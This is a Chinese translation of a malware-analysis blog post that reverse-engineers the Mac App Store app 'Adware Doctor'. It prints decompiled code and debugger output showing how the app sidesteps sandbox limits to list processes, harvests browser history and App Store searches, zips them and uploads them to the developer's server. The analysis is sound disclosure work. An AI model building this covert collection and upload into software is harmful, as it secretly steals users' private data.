导语:在上篇文章中我们简单的了解了广告医生是如何窃取浏览器数据的,本篇文章将更加深入的了解其带来的影响。
在上篇文章中我们简单的了解了广告医生是如何窃取浏览器数据的,本篇文章将更加深入的了解其带来的影响。
更仔细的观察
现在让我们拆开应用程序来回答以下问题:
1、它如何绕过MAC应用沙盒的约束来访问用户的文件?
2、它如何从所有流行的浏览器中收集用户的浏览器历史?
3、其他系统信息和个人可识别信息(PII)是如何收集的?
从安全和隐私的角度来看,从官方的Mac应用程序商店安装应用程序的主要好处之一是这些应用程序是沙盒包装的;另一个好处是,苹果可能会审查所有提交的应用程序——但正如我们在这里清楚展示的那样,它们有时做得很糟糕。
当应用程序在沙盒中运行时,它受到可以访问哪些文件或用户信息的限制。例如,来自Mac应用程序商店的沙盒应用程序不应该访问用户的敏感浏览器历史记录。但是广告医生却可以。
通过WhatsYourSign,我们可以看到它已经被授予了com.apple.security.files.user- selecec .读写权限。
该权限意味着应用程序可以请求对某些文件的权限,并通过明确的用户批准,然后对这些文件进行读写访问。当第一次执行广告医生时,它请求访问用户的主目录和它下面的所有文件和目录:
这是在代码中完成的,通过-[MainWindowController showFileAccess]方法:
/* @class MainWindowController */ -(void)showFileAccess { r15 = self; var_30 = [[AppSandboxFileAccess fileAccess] retain]; r13 = [[AppSandboxFileAccess fileAccess] retain]; rbx = [[BSUtil realHomeDirectory] retain]; r14 = [r13 hasAccessPremisionPath:rbx]; ...
在AppSandboxFileAccess类的帮助下:
例如在调试器(lldb)中,我们观察用户主目录上的访问检查:
Adware Doctor -[AppSandboxFileAccess hasAccessPremisionPath:]: -> 0x10000cebf <+0>: pushq %rbp 0x10000cec0 <+1>: movq %rsp, %rbp 0x10000cec3 <+4>: pushq %r15 0x10000cec5 <+6>: pushq %r14 (lldb) po $rdi <AppSandboxFileAccess: 0x1003797b0> (lldb) x/s $rsi 0x10006a147: "hasAccessPremisionPath:" (lldb) po $rdx /Users/user
现在,反恶意软件或反广告软件工具将需要合法访问用户的文件和目录——例如扫描他们的恶意代码。但是,一旦用户点击了允许(因为广告医生请求用户对其主目录的权限),它就可以全权访问所有用户的文件。所以它能够检测和清洁广告软件,但也可以收集和过滤任何用户文件。
广告医生包含了多种方法来收集关于系统和用户的各种信息。虽然有些(如进程列表)可能有正当理由被反恶意软件或反广告软件产品收集,但其他的,如用户的浏览历史,似乎是对用户隐私的公然侵犯(当然还有苹果严格的Mac应用商店规则)。
收集方法在ACEAdwareCleaner类中实现,命名为collect*:
现在让我们逆转其中的一些方法!
首先是collectSample方法。此方法参考应用程序下载的加密签名(“模式”)数据库。它似乎正在收集在示例密钥中指定的文件:
-(void)collectSample { ... rbx = [r15 pattenDic]; r14 = [rbx valueForKey:@"sample"];
在调试器中,我们可以遍历这段代码,并检查示例密钥的未加密值:
(lldb) "/Application/Adware Doctor.app"...po $rax<__NSArrayM 0x10732b5e0>(NAME=`whoami`;echo /Users/"$NAME"/Library/LaunchAgents/com.apple.Yahoo.plist;)
你看,它在找一个名为com.apple.Yahoo的文件。在用户的LaunchAgents目录下的plist。我不知道有任何恶意软件或广告软件使用了这个特定的文件名,所以我直接跳转到了谷歌,来到了一篇名为“Mac下一款门罗币挖矿木马的简要分析”的文章。使用writeup中提供的散列,我们可以在VirusTotal找到相关的文件,包括com.apple.Yahoo.plist:
广告医生正在专门寻找一种未被检测到的加密矿商(主要针对中国的用户)。
接下来,让我们分析collectPSCommonInfoToFile方法。它的反编译到处都是字符串和冗长的方法名,这很快就揭示了它的用途:
/* @class ACEAdwareCleaner */ -(void)collectPSCommonInfoToFile:(void *)arg2 { var_38 = [arg2 retain]; r14 = [[NSMutableString alloc] init]; [r14 appendString:@"===System===\n"]; rbx = [[ACECommon operatingSystem] retain]; [r14 appendFormat:@"%@\n"]; [rbx release]; [r14 appendString:@"===OS UpTime===\n"]; rbx = [[ACECommon getSystemUpTime] retain]; [r14 appendFormat:@"%@\n"]; [rbx release]; [r14 appendString:@"===Launch===\n"]; rbx = [[self readLaunchFolder:@"/Library/LaunchAgents"] retain]; [r14 appendFormat:@"%@\n"]; [rbx release]; rbx = [[self readLaunchFolder:@"/Library/LaunchDaemons"] retain]; [r14 appendFormat:@"%@\n"]; [rbx release]; r15 = [[ACECommon realHomeDirectory] retain]; r13 = [[NSString stringWithFormat:@"%@/Library/LaunchAgents", r15] retain]; rbx = [[self readLaunchFolder:r13] retain]; [r14 appendFormat:@"%@\n"]; [rbx release]; [r13 release]; [r15 release]; [r14 appendString:@"\n===Applications===\n"]; rbx = [[ACECommon fileStringWithPath:@"/Applications"] retain]; [r14 appendString:rbx]; [rbx release]; [r14 appendString:@"\n===process===\n"]; rbx = [[ACECommon collectProcessList] retain]; [r14 appendString:rbx]; [rbx release]; [r14 appendString:@"\n===process2===\n"]; rbx = [[ACECommon collectProcessList2] retain]; [r14 appendString:rbx]; [rbx release]; [r14 writeToFile:var_38 atomically:0x1 encoding:0x4 error:0x0]; [var_38 release]; [r14 release]; return; }
我们可以手动分析所有这些代码,但简单地让它执行并在以下行(函数末尾附近)设置断点要简单得多:
[r14 writeToFile:var_38 atomically:0x1 encoding:0x4 error:0x0];
一旦断点触发,我们就可以转储收集的数据。我们还可以检查第一个参数以确定文件名,然后(在将数据写入磁盘之后)手动检查文件。文件的名称将在RDX寄存器中:
(lldb) po $rdx /Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/psCommonInfo
精明的读者会注意到,这个文件psCommonInfo也被导出到adscan.yelabapp.com(在history.zip归档)
$ cat psCommonInfo ===System=== Version 10.13.6 (Build 17G65) ===OS UpTime=== 1hour, 10minute, 31second ===Launch=== /Library/LaunchAgents/com.vmware.launchd.vmware-tools-userd.plist 444 root wheel ... ===Applications=== /Applications/DVD Player.app(1396-07-20 02:11:55 +0000) /Applications/Siri.app(1396-07-27 03:17:13 +0000) /Applications/QuickTime Player.app(1396-08-19 02:31:30 +0000) /Applications/Chess.app(1396-06-15 01:20:21 +0000) /Applications/Photo Booth.app(1396-04-25 01:50:31 +0000) /Applications/Adware Doctor.app(1397-03-20 09:59:27 +0000) .... ===process2=== processID processName userID userName command 1759 bash 501 user /bin/bash 1758 login 0 root /usr/bin/login 1730 silhouette 501 user /usr/libexec/silhouette 1709 mdwrite 501 user /System/Library/Frame ....
您可能想知道一个沙盒应用程序如何枚举正在运行的进程,这是一个很好的问题。尽管广告医生通过com.apple.security.files.user selected获得枚举用户文件的权限。读写权限和明确的用户批准,根据沙箱设计,它仍然不能列出其他正在运行的进程!
回想一下collectPSCommonInfoToFile:调用以下两个方法:
[r14 appendString:@"\n===process===\n"]; rbx = [[ACECommon collectProcessList] retain];...[r14 appendString:@"\n===process2===\n"];rbx = [[ACECommon collectProcessList2] retain];
方法collectProcessList尝试通过内置的ps命令枚举所有正在运行的进程:
(lldb) po $rdi <NSConcreteTask: 0x107441f10> (lldb) po [$rdi launchPath] /bin/sh (lldb) po [$rdi arguments] <__NSArrayI 0x1002851f0>( -c, ps -e -c -o "pid uid user args" )
然而,macOS应用程序沙盒阻止了这一点,因为枚举正在运行的进程(从沙盒内部)是“禁忌”:
/bin/sh: /bin/ps: Operation not permitted
然而,广告医生是相当肆无忌惮的,所以又有了另一个锦囊妙计。让我们看看collectProcessList2方法:
+(void *)collectProcessList2 { ... rax = sub_1000519ad(&var_1068, &var_10A0, @"processID\t\t\t processName\t\t\t userID\t\t\t userName\t\t\t command\n", rcx, r8, r9); ... var_1070 = var_1068; do { ... proc_pidpath(*(int32_t *)(r14 - 0xcb), &var_1030, 0x1000); } while (var_1088 > rax); }
它调用sub_1000519ad然后遍历该函数返回的某个列表,调用proc_pidpath.假设sub_1000519ad返回一个进程id列表是安全的?
000000010007df90 dd 0x00000001 ;CTL_KERN 000000010007df94 dd 0x0000000e ;KERN_PROC 000000010007df98 dd 0x00000000 ;KERN_PROC_ALL int sub_1000519ad(int arg0, int arg1, int arg2, int arg3, int arg4, int arg5) { ... rax = sysctl(0x10007df90, 0x3, 0x0, r13, 0x0, 0x0); if ((r12 ^ rax) == 0x1){ __assert_rtn("GetBSDProcessList", "/Users/build1/Browser-Sweeper/src/Browser Sweeper/Pods/PodACE/Engine/ACECommon.m", ... } rbx = malloc(0x0); rax = sysctl(0x10007df90, 0x3, rbx, r13, 0x0, 0x0);
sysctl函数的调用与字符串GetBSDProcessList(在assert中)相结合,将其释放!它可能只是复制和粘贴苹果的GetBSDProcessList代码。显然,这就是从应用程序沙盒中获取流程列表的方法。我猜想这种方法是未经批准的,因为它显然违背了沙盒隔离的设计目标。没错,广告医生利用相当有趣的代码直接绕过了苹果。
现在让我们简要的讨论一下广告医生如何收集用户的浏览器历史记录。在名为collectBrowserHistoryAndProcess的方法中,有以下调用:
1、collectSafariHistoryToFile
2、collectChromeHistoryToFile
3、firefoxHistory
毫不奇怪,这些方法中的每一个都包含提取每个浏览器用户历史记录的代码。
对于Safari来说,这调用解析其History.db文件:
+(void)collectSafariHistoryToFile:(void *)arg2 { ... if ([ACECommon appInstalledByBundleId:@"com.apple.Safari"] != 0x0) { r15 = [[ACECommon realHomeDirectory] retain]; rbx = [[r15 stringByAppendingPathComponent:@"Library/Safari/History.db"] retain]; r14 = [[FMDatabaseQueue databaseQueueWithPath:rbx] retain]; ;parse database } else { r14 = [[@"Safari not installed." dataUsingEncoding:0x4] retain]; [r12 writeData:r14]; [r14 release]; [r12 closeFile]; } }
collectChromeHistoryToFile稍微复杂一些,但本质上归结为枚举Chrome概要,然后解析谷歌/Chrome//History数据库。
+(void)collectChromeHistoryToFile:(void *)arg2 { r13 = [[NSString stringWithFormat:@"Library/Application Support/Google/Chrome/%@/History"] retain]; rbx = [[rbx stringByAppendingPathComponent:r13] retain]; [r14 copyItemAtPath:rbx toPath:var_170 error:0x0]; ... rbx = [[FMDatabaseQueue databaseQueueWithPath:var_170] retain]; ... }
最后,在解析每个概要文件的位置之前,collectFirefoxHistoryToFile方法枚举所有Firefox概要文件。sqlite数据库:
+(void)collectFirefoxHistoryToFile:(void *)arg2 { ... r12 = [[NSString stringWithFormat:@"Library/Application Support/Firefox/Profiles/%@/places.sqlite"] retain]; r15 = [[rbx stringByAppendingPathComponent:r12] retain]; r14 = [[FMDatabaseQueue databaseQueueWithPath:r15] retain];
该应用程序还有一个名为collectAppStoreHistoryToFile的方法,它将尝试在AppStore应用程序中抓取所有最近的搜索:
+(void)collectAppStoreHistoryToFile:(void *)arg2 { ... 15 = [[rbx stringByAppendingPathComponent:@"Library/Containers/com.apple.appstore/Data/Library/Caches/com.apple.appstore/WebKitCache/Version 11/Blobs", 0x0, 0x0] retain]; ... r12 = [r14 initWithFormat:@"%@/Library/Application Support/%@/appStoreData", r15, rbx] ... ar_1A0 = @[@"-c", @"grep search.itunes * | sed 's/.*\(https:\/\/search\.itunes\.apple\.com.*q=.*\)\" .*/\1/'")] }
一旦广告医生对本地收集用户数据的渴望得到满足,就会像前面提到的那样,把所有的事情都记录下来。
(lldb) po $rdi <NSConcreteTask: 0x1003fa4b0> (lldb) po [$rdi launchPath] /bin/bash (lldb) po [$rdi arguments] <__NSArrayI 0x100352480>( -c, zip -r --quiet -P webtool "/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history.zip" "/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history" > /dev/null )
这个文件以及一个JSON blob,通过调用sendPostRequestWithSuffix方法(将您下载的.dmgs or .pkgs上传到服务器:
[var_1F0 sendPostRequestWithSuffix:@"checkadware" params:r12 file:rbx]; [ { "content": "\/Users\/user\/Downloads\/googlechrome.dmg\n1397-06-02 21:15:46 +0000\n(\n \"https:\/\/dl.google.com\/chrome\/mac\/stable\/GGRO\/googlechrome.dmg\",\n \"https:\/\/www.google.com\/chrome\/\"\n)\n5533641bc4cc7af7784565ac2386a807\n" },{ "content": "\/Users\/user\/Downloads\/charles-proxy-4.2.6.dmg\n1397-06-02 20:48:18 +0000\n(\n \"https:\/\/www.charlesproxy.com\/assets\/release\/4.2.6\/charles-proxy-4.2.6.dmg\",\n \"https:\/\/www.charlesproxy.com\/latest-release\/download.do\"\n)\nde043b43c49077bbdce75de22e2f2d54\n" },{ "content": "\/Users\/user\/Downloads\/Firefox 61.0.2.dmg\n1397-06-02 21:16:08 +0000\n(\n \"https:\/\/download-installer.cdn.mozilla.net\/pub\/firefox\/releases\/61.0.2\/mac\/en-US\/Firefox%2061.0.2.dmg\",\n \"https:\/\/www.mozilla.org\/en-US\/firefox\/download\/thanks\/?v=a\"\n)\n65096904bf80c4dd12eb3ba833b7db8d\n" }, ... ] --Boundary-D779386A-2A17-4264-955A-94C5FC6F5AFA Content-Disposition: form-data; name="attachment"; filename="history.zip" Content-Type: application/zip ...
现在,你所有的数据都属于中国!
所造成的影响
从纯技术的角度来看,广告医生有不小的研究意义,它是一个很好的案例研究和逆转macOS应用程序的“步行穿越”。当而,它还有更大的问题!
首先,这里有一个相当大的隐私问题。让我们不得不面对现实,你的浏览历史会让我们得以窥见你生活的方方面面。
事实上,应用程序已经偷偷地窃取了用户的浏览历史,可能已经有好几年了。
毫无疑问,从Mac应用商店下载应用程序,一般来说,比从互联网上的某个随机网站下载安全得多,但这句话中的其他说法可能缺乏真实性——至少在广告医生的例子中是这样。
正如著名的广告医生有很长的可疑行为历史,现在的行为方式明显违反了苹果应用商店的严格规则和政策(在很多方面)。例如,在“App Store规则与指南”的“数据收集与存储”部分,它说:
收集用户或使用数据的应用程序必须确保用户同意收集。
应用必须尊重用户的权限设置,而不是试图……欺骗或强迫人们同意不必要的数据访问。
使用他们的应用程序的开发者偷偷的发现……私有数据,将从开发程序中删除。
在任何时候,广告医生都不会要求泄露你的浏览器历史记录。它对这些非常私人的数据的访问显然是欺骗用户的。
除了公然不尊重用户数据之外,广告软件医生在Mac应用沙盒周围“跳舞”这一事实,显然也是另一种侵犯。例如,苹果阻止对ps的调用说明了一个事实,即沙盒应用程序不应该从沙盒中枚举正在运行的进程。如果应用程序开发人员发现了这一点,这仍然是一种违反。
如果苹果真的是“在商店接受每一个应用程序之前先审查一下”,那么这个应用程序是怎么通过审查的呢?也许我们应该相信,每个人都会犯错。
一个月前,我们向苹果公司报告了我们的发现,他们承认了这一点,并承诺进行调查:
结论
在这篇博文中,我们将广告医生(这个苹果官方应用商店中最畅销的应用之一)拆开。这项研究揭露了公然侵犯用户隐私的行为,完全无视苹果应用商店的准则。
令人惊讶的是,尽管一个月前苹果通过官方渠道向库比报道了这一消息,但这款应用至今仍在苹果的应用商店里。
人们不禁要问,苹果在这款广受欢迎的应用软件的每次销售中都降价30%,是否导致了如此令人震惊的不作为?他们在支持用户隐私方面值得称赞的声明难道不是可悲的言辞吗?
不过好消息是,苹果可以果断采取行动,恢复我们对Mac应用程序商店的信心。